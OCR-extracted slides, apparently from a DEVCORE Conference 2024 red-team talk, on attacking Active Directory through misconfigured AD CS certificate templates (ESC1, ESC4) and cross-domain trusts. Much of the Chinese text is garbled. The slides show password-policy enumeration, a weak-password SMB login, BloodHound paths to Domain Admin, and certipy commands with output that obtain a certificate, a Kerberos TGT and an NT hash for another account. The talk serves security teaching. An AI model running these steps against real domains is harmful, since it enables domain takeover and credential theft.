DE\/CORE

00 eEE T 2 ME AR
FARR AD > {REBERZ 71T ?

TRIZREE Vtim

AR EHARIDARAE]

viim@devco.re

DEVCORE CONFERENCE 2024 | 2024.03.16




DE\/CORE

whoami

o {RIERE Vtim

e DEVCORE Red Team Lead
e OSWE ~» OSCP
e Bug Bounty Hunter




,._ Wi 14
ik

e By y % o\ /,.\a
e ...*Ml ! ?1’ ' .r. L 4
N A 4

4
e ....
»
- LR
!

iIrectory
AR

D

Icrosoft
Active

\Y



JAD) 31 BEFE B X3 T)Y;

Eﬁ’; B
AL

i) ) CEECTI=
CTENO GRS
N L=




o

L i
o 8




2

o ZHHIRAISS

ComplexityEnabled : True
DistinguishedName : DC=victim,DC=1local
_ockoutDuration : 90:30:00
_ockoutObservationWindow : 90:30:00
_ockoutThreshold : O

MaxPasswordAge : 42.00:00:00
MinPasswordAge : 1.00:00:00
MinPasswordLength : 7

objectClass : {domainDNS}
objectGuid : b894e9bb-bcOc-4627-b234-b64112668716
PasswordHistoryCount : 24

ReversibleEncryptionEnabled : False
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o ZHHIRAISS
o IHEMBAIERR

DE\/CORE

ComplexityEnabled
. ockoutDuration
Ll ockoutObservationWindow
| ockoutThreshold

- o WOTNMUALPE
MinPasswordAge
MinPasswordlLength
objectClass
objectGuid
PasswordHistoryCount
ReversibleEncryptionEnabled

00:30:00
00:30:00

- ) D Oy D Y

1.00:00:00

7

{domainDNS}
b894e9bb-bcBc-4627-b234-b641+12668716
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o ZHHIRAISS

N — =2 E2

¢ ‘E/:E%EE\U%*’Z\\ ComplexityEnabled : True
DistinguishedName : DC=victim,DC=1ocal

L3 — :

° ﬁﬁ,%l?ﬁ%ﬂ%}%%ﬂ LockoutDuration : 00:30:00
_ockoutObservationWindow : 00:30:00
_.ockoutThreshold : ©
MaxPasswordAge : 42.00:00:00

objectGuid : b894e9bb-bcBc-4627-b234-b641+12668716
PasswordHistoryCount : 24
ReversibleEncryptionEnabled : False
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o ZHBIREISS
® fgﬂiiﬁ.l’”'—""g% ComplexityEnabled ji3948u3
1st] ' local

DistinguishedName

® ,Z\EIE;F 04? LockoutDuration

"ackoutObservationWindow : 98 36 00

el’l/s* JtTS:Sigzld 30:00 Qﬂb

I suordLe 0000‘ @:I:I:$ Is" §

objectGuid : b804e0bb DCOr @6 s4-b641+12668716
PassuordHlstor)Count

,,,,,,,,,,,,,,, e Q
1g2w3edr 7234
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L—[$]> python3 smbclient.py -debug /DomainAdmin: 'P@ssw@rd'@

Type help Foh list of commands
# shares

ADMIN$
C$

IPC$
NETLOGON
SYEVOL
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ComplexityEnabled : True
DistingcuishedName - '
LockoutDuration , .10:39:
LockoutObservationWindow : ©00:30:00
LockoutThreshold ,
MaxPassworaage

M1 NPYa Araaoe

MinPasswordlLength

o) | & - > Q0Mc iy
objectGuid : b894e9bb-bcOc-46
PasswordHistoryCount : 24

ReversibleEncryptionEnabled : False
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 BloodHound
o DMTASEIIFES
o MFEIRERAL
o FAIEIEYHRAF
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 BloodHound
o DMTASEIIFES
o MFEIRERAL
o FAIEIEYHRAF

Path to Domain Admin !
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BlocodHound

Show Path to Domain Admin .

g 9 AdminTo @ HasSession

MACHINEADMINS@JAPAN.LOCAL IO@JAPAN.LOCAL AGUANDA@JAPAN.LOCAL

LOCALADMIN@JAPAN.LOCAL

. AllowedToDelegate

PAN.LOCAL BACKUPLDAP@TOKYO.JAPAN.LOQTAUMOND@TOKYO.J

JKOBAYASHI_A@TOKYO"

ADMINS@TOKYO.JAPAN.LOCA

a MemberOf 8 AdminTo @ HzsSession e AdminTo @ HasSession

YFAN_A@TOKYO.JAPAN. LGty 0 pA DMINS@TOKYO.JAPANINERTYST@TOKYO.JAPAN.LOCBRL SVC@TOKYO.JAPAN.LOCAL JADE@TOKYO.JAPAN.LOGAI MASAKIDA@TOKYO.JAPAN EHEAL

3,
O

‘-:'\
5
s\

TSATOU_A@TOKYO.JAPAN.LOCAL YFAN@TOKYO.JAPAN.LOCBDCALADMIN@TOKYO.JAPAN.LOCAL +

ARaw QueryA }
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( Tier Model
M (Enterprlse Access Model)
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I AD CS 101 I




AD CS?

I Active Directory Certificate Services (AD CS) is a Windows Server role for
issuing and managing public key infrastructure (PKI) certificates used in

secure communication and authentication protocols. |
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Enterprise CA Standalone CA
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Enterprise CA Standalone CA

Integration
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Enterprise CA Certificate
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Certificate
Template

Properties of New Template

Enterprise CA

Subject Name Server lssuance Requirements
Superseded Templates Extensions Security
Compatibility General Request Handling Cryptography Key Attestation

Template display name:

Example

Template name:

Example

Validity period: Renewal penod:

years 6 | weeks

Publish certificate in Active Directory

[ ] Do not automatically reenroll if a duplicate certificate exists in Active
Directory

DE\/CORE



Certificate
Template

Properties of New Template

Subject Name Server Issuance Requirements

Enterprise CA

Compatibilty General Request Handling Cryptography Key Attestation
Superseded Templates Extensions Security

To modify an extension, select it, and then click Edit.

Extensions included in this template:

DApplication Policies
| Basic Constraints
Certificate Template Information

Issuance Policies
i | Key Usage

Description of Application Policies:

Client Authentication|
Secure Email
Encrypting File System
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Certificate Domain User

(Domain Authentication)
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Domain User

Attacker
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Attacker
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AD CS - Attack Vector

e Certified Pre-Owned & AD CS HHEANREF EEH 71L5E
e THEFTx — Certificate Theft

e PERSISTx — Account Persistence
e DPERSISTx — Domain Persistence

ol ESCx — Domain Escalation

ESC1, ESC2, ESC3...
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Check if there are any misconfigurations

Enterprise CA
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Enterprise CA ESC11
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ESC1
Misconfigured Certificate Templates
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ESC1 - Misconfigured Certificate Templates
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ESC1 - Misconfigured Certificate Templates

SEE 3% i —A— 271 =
o (EE/RFEFANRTE

e | DAP Query

L—[$]> ldapsearch -x \
> -H "ldap://10.10.10.10" \
> -b '"CN=Certificate Templates,(N=Public Key Services,(N=Services,(N=Configuration,DC=victim,DC=local’ \

T

> -D "victim\lowpriv_user' -w 'Password!’
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# DomainController, Certificate Templates, Public Key Services, Services, (Con
figuration, victim.local
dn: CN=DomainController,(N=Certificate Templates,(N=Public Key Services,(N=Ser

= ' CN=Configuration,DC=victim,DC=1local
ESC1 — Misconfig. iy

object(Class: pKICertificateTemplate

cn: DomainController

distinguishedName: (CN=DomainController,(N=Certificate Templates,(N=Public Key
Services,(N=Services,(N=Configuration,DC=victim,DC=local

M= S AFe Xax = J B o :
o (RE/REEAENE tnstance ype: 4
whenCreated: 20231114025650.07Z
whenChanged: 20231114025650 .07
®
I—DAP CQuery displayName: Domain Controller

uSNCreated: 16502
uSNChanged: 16502
showInAdvancedViewOnly: TRUE
name: DomainController
objectGUID:: a/P3fErdBEe9+020xgugnA==
flags: 66156
revision: 4
objectCategory: (N=PKI-Certificate-Template,(N=Schema,(CN=Configuration,D(=vict
1m,DC=local
pKIDefaultKeySpec: 1
pKIKeyUsage:: 0AA=
pKIMaxIssuingDepth: 0@
pKICriticalExtensions: 2.5.29.15
pKIExpirationPeriod:: AEAShy7h/v8=
pKIOverlapPeriod:: AICmCv/e//8=
pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2
DE‘/CO RE pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.1
pKIDefaultCSPs: 1,Microsoft RSA SChannel Cryptographic Provider
dSCorePropagationData: 20231115071104 .07
dSCorePropagationData: 16010101000000 .07
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Template Name

Display Name
Certificate Authorities
Enabled

Client Authentication
Enrollment Agent

Any Purpose

Enrollee Supplies Subject
Certificate Name Flag
Enrollment Flag

Private Key Flag

Extended Key Usage

Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Validity Period
Renewal Period
Permissions
Enrollment Permissions
Enrollment Rights

: hyperv
: hyperv

CA

: True

: True

: False

: False

: True

: EnrolleeSuppliesSubject
: None

: 16777216

65536

: Server Authentication

Client Authentication

: False

: False

: 0

: 3 years
: 6 weeks

\Domain Admins
\Domain Computers
\Enterprise Admins
\Authenticated Users
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ESC1 - Misconfigured Certificate Templates

o {¥1£ ESC1 $5F5RY/REE AN
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ESC1 - Misconfigured Certificate Templates

o 1¥1£ ESC1 33R4HY/REEE R
o [EEREAE A BAFTEREREREESHE
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Template Name : hyperv

ESC1 — Mi Display Name hyperv S

Certificate Authorities

. CA
e “e ] BIREEA TR

Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
® ??;E ESCT 55, Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
IR EYEREEED=EE  Private Key Flag : 16777216

65536
Extended Key Usage : Server Authentication

Client Authentication

Requires Manager Approval : False %%E%ﬂb

Requires Key Archival : False -
Authorized Signatures Required : 0 %%@%%}
Validity Period : 3 years
Renewal Period : 6 weeks
Permissions

Enrollment Permissions

Enrollment Rights : \Domain Admins

\Domain Computers
\Enternrise Admins
\Authenticated Users'

K tEPR{EFHE I RS
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ESC1 - Misconfigured Certificate Templates

o 177£ ESC1 35FaBV/RFEF A
o [(KIEMREREREM BEAFEERERENEIEEHE
o JHFBINAE EKUs (Extended Key Usages) £ Domain Authentication IHEE

e ¢.g. Client Authentication ~ Smart Card Logon -~ Any Purpose »
PKINIT Client Authentication

DE\/CORE



Template Name : hyperv

ESC1 — Mi Display Name hypgrv S

Certificate Authorities - CA

Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
. Enrollee Supplies Subject : True
® ??;E ESCT 55,, Certificate Name Flag : EnrolleeSuppliesSubject
. Enrollment Flag : None
® =3 > Private Key Fl : 16777216 - - -
(ERrESEIEEE Private Key Flag messnall = UV S0 Authentication
= YA . 1 : o . VAN
° {,E’lg\ﬁgljjﬁg =% |Extended Key Usage : Server Authentication ication IjJF.lE
Client Authentication
- Requires Manager Approval : False
® , \
e°g° Cllen Requires Key Archival : False SE
F)P<|PJ| Authorized Signatures Required : 0
Validity Period : 3 years

Renewal Period : 6 weeks
Permissions
Enrollment Permissions

Enrollment Rights : \Domain Admins
\Domain Computers

D E ‘/CO R E \Enterprise Admins

\Authenticated Users



ESC1 - Misconfigured Certificate Templates

o 177£ ESC1 35FaBV/RFEF A
o [(KIEMREREREM BEAFEERERENEIEEHE
o JHFBINAE EKUs (Extended Key Usages) £ Domain Authentication IHEE

e ¢.g. Client Authentication ~ Smart Card Logon -~ Any Purpose »
PKINIT Client Authentication
e NEFEHFEEIETE SAN (Subject Alternative Name) f#1iz
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Template Name : hyperv

ESC1 — Mi Display Name hypgrv S

Certificate Authorities

Enabled : True ﬁﬁﬁ%% iéﬁ.@

Client Authentication : True

Enrollment Agent - False  subjectAltNamERETANIE ki

Anv Purpose = False
Enrollee Supplies Subject : True

® ?_7;7_ ESCT 55,“ Certificate Name Flag : EnrolleeSuppliesSubject
. Enrollment Flag : None
o {EHEE BE{%}EH Private Key Flag . 16777216
65536
® ,,% Extended Key Usage : Server Authentication iCatiOn T at
/AR jJ Client Authentication jJElb
e Requires Manager Approval : False
® , \
e°g° Cllen Requires Key Archival : False SC

PK NI Authorized Signatures Required : 0
Validity Period . 3 years

Renewal Period : 6 weeks
— -
¢ j'bﬁtFEEEH%EI: Permissions
Enrollment Permissions

Enrollment Rights : \Domain Admins
\Domain Computers

DE ‘/CO R E \Enterprise Admins

\Authenticated Users




Template Name : hyperv

ESC1 — Mi Display Name : hyperv S

Certificate Authorities : CA

Enabled : True
Client Authentication : True
Enrollment Agent : False
Anv_ Purpose * False
Enrollee Supplies Subject : True
® ??;E ESCT 55 t “Certificate Name Flag : EnrolleeSuppliesSubject
m .
. Enrollment Flag : None
IR YIS EEEE Private Key Flag : 6152;2216
= YA . 1 ' o . VAN
° {&l‘g\ﬁgﬂjﬁg =% |Extended Key Usage : Server Authent}cat?on ication IjJF.lE
Client Authentication
- Requires Manager Approval : False
® , \
e°g° Cllen Requires Key Archival : False SC

Authorized Signatures Required : 0
FDP(thI Validity Period : 3 years

N . Renewal Period : 6 weeks

® ﬁEtFEEEJ Permissions
Enrollment Permissions
Enrollment Rights : \Domain Admins

\Domain Computers
\Enternrise Admins
\Authenticated Users'
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ESC1 - Misconfigured Certificate Templates
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ESC1 - Misconfigured Certificate Templates

o [EFREEMRERSRAENEESRE

——(T'001 Q' 1)-( | _

—# proxychains certipy req -debug -u ' T ' —dns—-tcp -ns -target
-ca -template hyperv -upn ' '

[proxychains] config file found: /proxychains.conf

[proxychains] preloading /usr/lib/x86_64-1linux—-gnu/Llibproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Certipy vi4.0.0 - by Oliver Lyak (lydk)

[+] Trying to resolve ' . at ° :

[proxychains] Strict chain ... A t53  Lie OKR
[+] Trying to resolve ' bat '

[proxychains] Strict chain ... i 53 ... OK

[+] Generating RSA key
[*] Requesting certificate via RPC

[+] Trying to connect to endpoint: ncacn_np: [\pipe\cert]
[proxychains] Strict chain ... ey 445 ... OK
[+] Connected to endpoint: ncacn_np: [\pipe\cert]

[*] Successfully requested certificate
[*] Request ID is 6406
[*] Got certificate with UPN ' ]

E:% g:sgifigitifzi:tzoazgjSrc‘tiviiz key to ' pfx’ }ﬁI}J $ pﬁ,ﬂiyl-q}!%
DEVCORE

E;

kol



ESC1 - Misconfigured Certificate Templates

o [FHARGFEIREEIEE/BEE > INHEE Kerberos TGT » il NT hash

root@kali

—# proxychains certipy auth -debug -pfx .pfx —-dc-1p

[proxychains] config file found: /proxychains.conf
[proxychains] preloading /usr/lib/x86_64-1linux—-gnu/Llibproxychains.so.d
[proxychains] DLL init: proxychains-ng 4.14

Certipy v4.3.0 - by Oliver Lyak (lydk)

[*] Using principal:

[*] Trying to get TGT...

[proxychains] Strict chain ... o :88 ... OK

[*] Got TGT ’~

[*] Saved credential cache to ' .ccache"ﬁl}]ﬂ&?%%ﬁtﬁﬁéiﬂ%ﬂq Kel‘berOS TGT

[*] Trying to retrieve NT hash for ° '

[proxychains] Strict chain ... :88 ... OK

[*] Got hash for & aad3bu35b51u6ueeaad3bu35b51u9uee 07 82

EEIT L2 EIEERY NT hash

DE\/CORE
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ESC1 - Misconfigured Certificate Templates

o 177£ ESC1 35FaBV/RFEF A
o [(KIEMREREREM BEAFEERERENEIEEHE
o JHFBINAE EKUs (Extended Key Usages) £ Domain Authentication IHEE

e ¢.g. Client Authentication ~ Smart Card Logon -~ Any Purpose »
PKINIT Client Authentication
e NEFEHFEEIETE SAN (Subject Alternative Name) @1z
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Google

Configure SSL Certificate with ADCS site:microsoft.com X | &
FH O OB BER  FE O OBE B MM e

Y

20165

5 931 IEE R (=SR] - 0.26 7))

microsoft.com
https://learn.microsoft.com » it-pro » wi... - BlzZE{EHEE

Obtain and Configure an SSL Certificate for AD FS

8

131

— The SSL certificate is used for securing communications between federation

servers and clients. For more information, see the “Certificate ...



Obtain an SSL certificate from AD CS 3 Certificate Templates Console

File Action View Help
Perform the following procedures to obtain a new SSL certificate from AD CS. In order to complete PR miG

these, you must deploy and configure AD CS in your environment. For more information, see Active

Directory Certificate Services Overview . #| Certificate Ter Template Display Name Schema Vers
& ESC4

&l Exchange Enroliment Agent (Offline requ...

Configure a template

1. In the Certificate Templates snap-in, right-click the Web Server template and select Duplicate.

2. On the Security tab, click Add.

) Exchange Signature Only

2l Exchange User
12 IPSec
1% IPSec (Offline request)

ﬂ Kerberos Authentication

7] Key Recovery Agent

3. Click Object Types, check Computers, and then click Ok.
1#] OCSP Response Signing

4. Enter Domain Computers. %] RAS and IAS Server
%] Root Certification Authority
5. Click Check Names and then lick OK. %] Router (Offline request)

%] Smartcard Logon
6. With Domain Computers selected, check read, enroll, and auto-enroll permissions. 8 Sonardeard Uses

: %] Subordinate Certification Authority
If you are on a domain controller, repeat the steps above to add read, enroll, and auto-enroll

18| Trust List Signing

—h —t 'Y — — —t —t — . ) "nJ Ny Y — —t 'Y —t "nJ

permissions explicitly to the domain controller by name. This is because a domain controller is & User
not a member of domain computers. /3] User Signature Only
¥l Web Server
7. On the Request Handling tab, check the Allow private key to be exported box. ) Duplicate Template

Workstation e

8. On the General tab, update the template display name to SSL Certificate Template or similar. All Tasks

< > (| €
Properties

9. Click OK to save the new template. Using this template as a base, create



Properties of New Template

Obtain an SSL certificate from AD CS

Perform the following procedures to obtain a new SSL certificate from AD CS. In order to complete Compatibilty General Request Handling Cryptography Key Attestation
Security

Subject Name Server Issuance Requirements

these, you must deploy and configure AD CS in your environment. For more information, see Active Superseded Templates Extensions

Directory Certificate Services Overview &' . Group or user names:

W2 Authenticated Users
a Administrator

Configure a template 82 Dmaio Admins AICTIM\Domaio Admios)
* 4 Domain Computers (VICTIM\Domain Computers)
1. In the Certificate Templates snap-in, right-click the Web Server template and select Duplicate. % Enterpnse Admins (VIC TIM\E terpnse Admins)

. On the Security tab, click Add.
. Click Object Types, check Computers, and then click Ok.

. Enter Domain Computers.

Pemissions for Domain Computers

Full Control
Read
Wiite

Enroll
Autoenroll

. Click Check Names and then lick OK.

. With Domain Computers selected, check read, enroll, and auto-enroll permissions.

If you are on a domain controller, repeat the steps above to add read, enroll, and auto-enroll

permissions explicitly to the domain controller by name. This is because a domain controller is

not a member of domain computers.

| i F ial permissi dvanced settings, click
7. On the Request Handling tab, check the Allow private key to be exported box. Azrvsa%iczg.pemssnons S R Advanced

8. On the General tab, update the template display name to SSL Certificate Template or similar.

9. Click OK to save the new template. Ap
ply




Obtain an SSL Certificate from AD CS Properties of New Template

Subject Name Server Issuance Requirements
Perform the following procedures to obtain a new SSL certificate from AD CS. In order to complete Superseded Templates Extensions Security
these, you must deploy and configure AD CS in your environment. For more information, see Active Compatibility General Request Handling Cryptography Key Attestation

Directory Certificate Services Overview .
Purpose: Signature and encryption

CO nflg ure a tem plate [ ] Include symmetric algorithms allowed by the subject
| ] Archive subject’s encryption private key
1. In the Certificate Templates snap-in, right-click the Web Server template and select Duplicate.
2. On the Security tab, click Add.
3. Click Object Types, check Computers, and then click Ok.

4. Enter Domain Computers.

E’[l\__ﬁ«llo»\' private key to be exported
y

5. Click Check Names and then lick OK.

6. With Domain Computers selected, check read, enroll, and auto-enroll permissions.

Do the following when the subject is enrolled and when the private key
If you are on a domain controller, repeat the steps above to add read, enroll, and auto-enroll associated with this cerificate is used:

permissions explicitly to the domain controller by name. This is because a domain controller is

not a member of domain computers.

7. On the Request Handling tab, check the Allow private key to be exported box.

8. On the General tab, update the template display name to SSL Certificate Template or similar. " Control is disabled due to compat

9. Click OK to save the new template. Aoply




Properties of New Template

Obtain an SSL certificate from AD CS

Subject Name Server Issuance Requirements
Perform the following procedures to obtain a new SSL certificate from AD CS. In order to complete Superseded Templates Extensions Security
these, you must deploy and configure AD CS in your environment. For more information, see Active Compatibilty (General  Request Handling  Cryptography ~ Key Attestation

Directory Certificate Services Overview . Template display name:

]|
Configure a template

1. In the Certificate Templates snap-in, right-click the Web Server template and select Duplicate. Template name:

| ServerSSLTemplate
2. On the Security tab, click Add.

3. Click Object Types, check Computers, and then click Ok. Validity period: Renewal period:

. 2| years \ 6| weeks
4. Enter Domain Computers.

5. Click Check Names and then lick OK.

|| Publish certificate in Active Directory

6. With Domain Computers selected, check read, enroll, and auto-enroll permissions.

If you are on a domain controller, repeat the steps above to add read, enroll, and auto-enroll
permissions explicitly to the domain controller by name. This is because a domain controller is

not a member of domain computers.

7. On the Request Handling tab, check the Allow private key to be exported box.

8. On the General tab, update the template display name to SSL Certificate Template or similar.

9. Click OK to save the new template. Ap
ply
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Properties of New Template

Subject Name Server Issuance Requirements
Compatibility General Request Handling Cryptography Key Attestation
Superseded Templates Extensions Security

To modify an extension, select it, and then click Edit.

Extensions included in this template:

.. Basic Constraints
~ |Certificate Template Information

| Issuance Policies

¥o | Key Usage

Neerrintion of Annlication Palicies:
Server Authentication




Edit Application Policies Extension

- | | Add Application Policy X
An application policy defines how a certificate can be

used. |
An application policy (called enhanced key usage in Windows 2000)
defines how a certificate can be used. Select the application policy required
- < for valid signatures of certificates issued by this template.

Application polices:

Server Authentication L .
Application policies:

Any Pumpose
Attestation |dentity Key Certificate

Certificate Request Agent
Code Signing
CTL Usage
Digital Rights
Directory Service Email Replication
Disallowed List
Document Encryption
Adq,\:. Edit - : Document Signing
e Domain Name System (DNS) Server Trust
Make this extension critical Dynamic Code Generator




Properties of New Template

Subject Name Server Issuance Requirements
Compatibility General Request Handling Cryptography Key Attestation
Superseded Templates Extensions Security

To modify an extension, select it, and then click Edit.

Extensions included in this template:
Application Policies
| Basic Constraints
_ |Certificate Template Information
— |Issuance Policies

% | Key Usage

—

Description of Application Policies:




a Manage Cert - [Console Root\Certification Authority (Local)\victim-CAO01-CA\Certificate Templates]

Fﬁ File Action View Favornites Window Help
o 27 XE = HE

. Console Root Name Intended Purpose

4l Certificate Templates (DCO1.victim.local) & ServerSSLTemplate Server Authentication, Client Authentic...

i ification A ity ( . : . o . . : L
L C.ert'.ﬂ?tlongL;thCO‘:ty e Il Directory Email Replication Directory Service Email Replication
v @i Vvictim- -

. Revoked Certificates
. Issued Certificates

%] Domain Controller Authentication Client Authentication, Server Authentic...
%! Kerberos Authentication Chent Authentication, Server Authentic...
3 EFS Recovery Agent File Recovery

. Pending Requests
4| Basic EFS Encrypting File System

. Failed Requests

%! Domain Controller [,\ Client Authentication, Server Authentic...
| Web Server S

3 Computer Client Authentication, Server Authentic...
3 User Encrypting File System, Secure Email, Cl...
4| Subordinate Certification Authority <All>

| Administrator Microsoft Trust List Signing, Encrypting ...

| Certificate Templates
Server Authentication







ESC1 - Misconfigured Certificate Templates

o 1¥1£ ESC1 33R4HY/REEE R
o [EEREAE A BAFTEREREREESHE

DE\/CORE



Properties of New Template

o Subject Name Server Issuance Requirements
ES‘ :1 — M I SCO Compatibilty General Request Handling Cryptography Key Attestation ' l I p I a tes
Superseded Templates Extensions Security

Group or user names:

W2 Authenticated Users
a Administrator
s ! Nomain Admins (VIC TIM\Damain Admins)

® /55 W& Enterpnse Admins (VIG 1TV \Eiierpnse Admins)
; m\ 10N

o EEIREAS I

Pemissions for Domain Computers

Full Control
Read
Write
Enroll
Autoenroll

For special pemissions or advanced settings, click Advanced
Advanced.

DE\/CORE

o




ESC1 - Misconfigured Certificate Templates

o 177£ ESC1 35FaBV/RFEF A
o [(KIEMREREREM BEAFEERERENEIEEHE
o JHFBINAE EKUs (Extended Key Usages) £ Domain Authentication IHEE

e ¢.g. Client Authentication ~ Smart Card Logon -~ Any Purpose »
PKINIT Client Authentication

DE\/CORE



Properties of New Template

E S C1 M - Subject Name Server Issuance Requirements - I .t
o I SCO Compatibilty General Request Handling Cryptography Key Attestation I I l p a eS

Superseded Templates Extensions Security

To modify an extension, select it, and then click Edit.

Extensions included in this template:
Application Policies

o 1Z7E ESC1 553500 R S meeic—_
o« (EEIR{E M T T

o /REEINHE EKUs (E

* e.9. Client Authqee e .

PKINIT Cliefliseismcs

Any Purpose »

DE\/CORE

in Authentication IJjgE



ESC1 - Misconfigured Certificate Templates

o 177£ ESC1 35FaBV/RFEF A
o [(KIEMREREREM BEAFEERERENEIEEHE
o JHFBINAE EKUs (Extended Key Usages) £ Domain Authentication IHEE

e ¢.g. Client Authentication ~ Smart Card Logon -~ Any Purpose »
PKINIT Client Authentication
e NEFEHFEEIETE SAN (Subject Alternative Name) f#1iz

DE\/CORE



Web Server Properties
Template Display Name

ESCT -

ESC1 General Request Handling Subject Name Exensions Security eS

ESC2
. A subject is a computer, other device, or a user to which certificates are
ESC3 issued.

ESC4
Exchange Enrollment Ac

Source of subject name

Exchange Signature OnljI
Exchange User k
IPSec

IPSec (Offline request)

Kerberos Authentication

o 1¥7£ ESC1 5
o {EK#EPRIER
o /RFETIHEE
e e.g. Clie
PKI
. REFERIS

Key Recovery Agent
OCSP Response Signing
RAS and IAS Server
Root Certification Auth
Router (Offline requegt)

~tication IJEE

Smartcard Logon
Smartcard User

Subordinate Certification
Trust List Signing

User

—
4
=
3
|y
|
=
15
=
12
ey
)
==
12
ey
3
4
15
| —
)
—
3
q
1)
R
)
—
4
=
b
|y
1)
B—
140
R
1)
|
1)
q
1)
g
)

User Signatule Only
@ Web Server

11 Workstation Authenticat
DEV/CORE [§
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AAN
]

A\ / 4
biz.local
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AAN
]

A\ / 4
biz.local

AAN AAN AAN
ame ] 1]

A\ / 4 A\ / 4 A\ / 4
dmz.biz.local kh.biz.local tp.biz.local
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AAN
alme

A\ / 4
biz.local

AAN AdAN
] 1]

)
(-] & &

‘dmz.biz.local kh.biz.local tp.biz.local
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AAN
alme

A\ / 4
biz.local

AAN AAN
] 1]

A\ / 4 A\ / 4
dmz.biz.local kh.biz.local tp.biz.local

DE\/CORE



Request biz.local DA cert AAN

EEE
%&@ L\ /4
wtr ND biz.local
"
@6
\‘ P\ P\ P\
EEE EEE EEE

A\ / 4 A\ / 4 A\ / 4
dmz biz. Iocal kh.biz.local tp.biz.local
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Attack as biz.local DA

AAN
1]

A\ / 4
biz.local

AAN
11 alme

- A\ / 4 A\ / 4
dmz.biz.local kh.biz.local tp.biz.local
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- AAN

1]
A\ /4

biz.local

AAN JAN

amn 1T I

N\ A\ /4
dmz.biz.local kh.biz.local tp.biz.local
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AAN
alme

A\ / 4
biz.local

SID Filtering

AAN AdAN
] 1]

)
(-] & &

dmz.biz.local kh.biz.local tp.biz.local

DE\/CORE



Request biz.local DA cert AdAN
11
A\ / 4

biz.local

SID Filtering

AdAN AdAN
11 alme

8/ v N\ 4 \\ /4
dmz.biz.local kh.biz.local tp.biz.local
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biz.local
Domain Admin

Attacker
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AAN
alme

A\ / 4
biz.local

SID Filtering

AAN AdAN
11 ]

A\ / 4 A\ / 4
dmz.biz.local kh.biz.local tp.biz.local
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AAN
alme

A\ / 4
biz.local

("Q JAn JAn

1] 1]

) = =
dmz.biz.local kh.biz.local tp.biz.local
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Attack as biz.local DA

AAN
1]

A\ / 4
biz.local

AAN
11 alme

- A\ / 4 A\ / 4
dmz.biz.local kh.biz.local tp.biz.local
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AAN
]

A\ / 4
biz.local

SID Filtering

AAN JAN

amn 1T I

W 2\ /4
dmz.biz.local kh.biz.local tp.biz.local
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SID Filtering

Forest Forest
biz.local comp.local
o o
\'s\) SID Filtering
SID Filtering
) .0

dmz.biz.local kh.biz.local tp.biz.local
hg.com.local tc.com.local

DE\/CORE
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For EZBX

e ADCSREZ! ! |
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or EZfX

s ADCSTREZE! | |
o EHANEIZPIBR /BB
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or E5fXx

e ADCS1REE! | |
o TFHAtGIZPT B /BREEE A
o (SHMABREERN/REFH
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For EZBX

e ADCSEEE
o TEHRNEZFRA

HEEE
AW A

JCLAH

* FRHFTEREERN
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Template Name

Display Name

Certificate Authorities
Enabled

Client Authentication
Enrollment Agent

Any Purpose

Enrollee Supplies Subject
Enrollment Flag

Private Key Flag

Extended Key Usage

Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Validity Period

Renewal Period

Minimum RSA Key Length

Permissions
Enrollment Permissions
Enrollment Rights

Object Control Permissions
Owner
Write Owner Principals

Write Dacl Principals

Write Property Principals

False

: True

False
False
False

65536

: DomainAuth
: DomainAuth
: victim—-CAQ1-CA

: AutoEnrollment
: 16777216

ExportableKey

False
False

: 0

: 1 year
: 6 weeks
: 2048

: VICTIM.
VICTIM.
VICTIM.

: VICTIM.
: VICTIM.
VICTIM.
VICTIM.
VICTIM.
: VICTIM.
VICTIM.
VICTIM.
. LOCAL\Administrator
: VICTIM.
VICTIM.
VICTIM.
VICTIM.

VICTIM

: Client Authentication

LOCAL\Domain Admins
LOCAL\Domain Users
LOCAL\Enterprise Admins

LOCAL\Administrator
LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator
LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users

LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator




Template Name

Display Name
Certificate Authorities
Enabled

Fo |
Enab led

- W O wmE Il N s . ‘-‘v

Private Key Flag

* AD CS (REZ
© ERAAZFI A REE!
* BRAPMAREEEN

Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Validity Period
Renewal Period
Minimum RSA Key Length
Permissions

Enrollment Permissions

Enrollment Rights

Object Control Permissions
Owner
Write Owner Principals

Write Dacl Principals

DE\/CORE

Write Property Principals

B S W B d o

: 16777216

65536

: DomainAuth
: DomainAuth
: victim—-CAQ1-CA
False

- v SR e s 1 S

ExportableKey

False
False

: 0

: 1 year
: 6 weeks
: 2048

: VICTIM.
VICTIM.
VICTIM.

: VICTIM.
: VICTIM.
VICTIM.
VICTIM.
VICTIM.
: VICTIM.
VICTIM,
VICTIM.
VICTIM.
: VICTIM.
VICTIM.
VICTIM.
VICTIM.

: Client Authentication

LOCAL\Domain Admins
LOCAL\Domain Users
LOCAL\Enterprise Admins

LOCAL\Administrator
LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator
LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator
LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator



Enab led

e ADCS REE

DE\/CORE

Template Name

Display Name
Certificate Authorities
Enabled

E % O sl N s . \-ﬂv

Private Key Flag

Owner

Write Owner Principals

Write Dacl Principals

Write Property Principals

T O e % W B d B

: 16777216

65536

: DomainAuth
: DomainAuth
: victim—-CAQ1-CA
: False

- ST e s T S

ExportableKey

: VICTIM.
: VICTIM.
VICTIM.
VICTIM.
VICTIM.
: VICTIM.
VICTIM.
VICTIM.
VICTIM.
: VICTIM.
VICTIM.
VICTIM.
VICTIM.

LOCAL\Administrator
LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator
LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator
LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users
